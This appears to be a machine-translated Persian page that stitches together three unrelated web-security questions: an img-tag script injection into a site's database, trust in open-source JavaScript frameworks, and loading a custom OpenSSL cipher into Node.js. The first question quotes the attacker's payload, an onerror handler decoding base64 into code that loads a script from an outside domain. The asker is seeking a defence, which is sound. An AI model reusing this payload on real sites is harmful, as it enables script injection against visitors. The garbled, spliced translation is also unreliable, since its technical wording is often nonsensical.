php – JS به پایگاه داده با استفاده از img

چگونه ما بهترین ها را جلوگیری از img تزریق اسکریپت به پایگاه داده هایمان تزریق کنیم؟

اخیرا یک مورد دریافت کردم که در آن این تقلب کننده از شناسه تصویر استفاده می کند که با کد 64 پایه ارزشمند است و با استفاده از رمزگشایی atob برای اجرای اسکریپت خود در سرور پایان ما

من به طور عمدی عملکرد تابع atob را به named_function تغییر دادم "در اسکریپت زیر، چون باعث ایجاد یک iframe در این سایت می شود.

این اسکریپت است. [19659005] img src = /
  id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHjlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs
  در صورت بروز خطا، آن را به یک وبسایت با بارهای JS منتهی می کند (19459004) named_function (this.id))>

.
با استفاده از socket.io، به نظر می رسد که یک اسکریپت انعطاف پذیر در iframe برای ایجاد وب سایت ها ایجاد کند.

راه حل فعلی من این است که تنها اجازه تصویر با src با داشتن پسوند تصویر را داشته باشد.

آیا کسی ایده بهتر دارد؟

با تشکر

برنامه وب – آیا هنگام استفاده از چارچوب محبوب (js) نگرانی های امنیتی وجود دارد؟

به چه میزان باید به چارچوب وب / js اعتماد کرد؟

اکثر چارچوب ها منبع باز هستند – توسعه یافته در باز. از این رو، بسیاری از مردم می توانند به صورت ناشناس متعهد به پروژه شوند. اعتبار سنجی انسان ممکن است فریب داده شود و مهاجم قادر به انجام برخی از کد های مضر است که پس از آن ناخواسته توسط برنامه نویس وب مورد استفاده قرار می گیرد، که تنها از لایه انتزاعی API استفاده می کند.

چطور چنین سناریویی واقع بینانه است؟ و کدام چنین کد کافی است؟

علاوه بر این، Angular و React توسط گوگل و فیس بوک آغاز شده و روند اصلاحی دقیق را دنبال می کنند. من در حال حاضر در چارچوب توسعه یافته توسط Alibaba و (به طور عمده) جامعه آزاد منبع چینی به دنبال است.

با توجه به شهرت نامطلوب محصولات فناوری چینی، دلیلی وجود دارد که به آن توجه شود؟ یا این فقط چیزی است که رسانه ها / سیاستمداران فشار می آورند؟

اضافه کردن یک بلوک سفارشی سفارشی به Node JS؟

من یک نسخه اصلاح شده openssl با یک TLS سفارشی سفارشی دارم که آزمایش می کنم. چگونه می توانم از آن در Node JS استفاده کنم؟

من نسخه اصلاح شده openssl را به Node JS با استفاده از LD_LIBRARY_PATH اشاره کرده ام.

من سعی کردم تعیین رمز رمزگذاری TLS با استفاده از - -tls-cipher-list گزینه بی فایده است. با این حال من می توانم از دستور openssl ciphers

لیست کنم.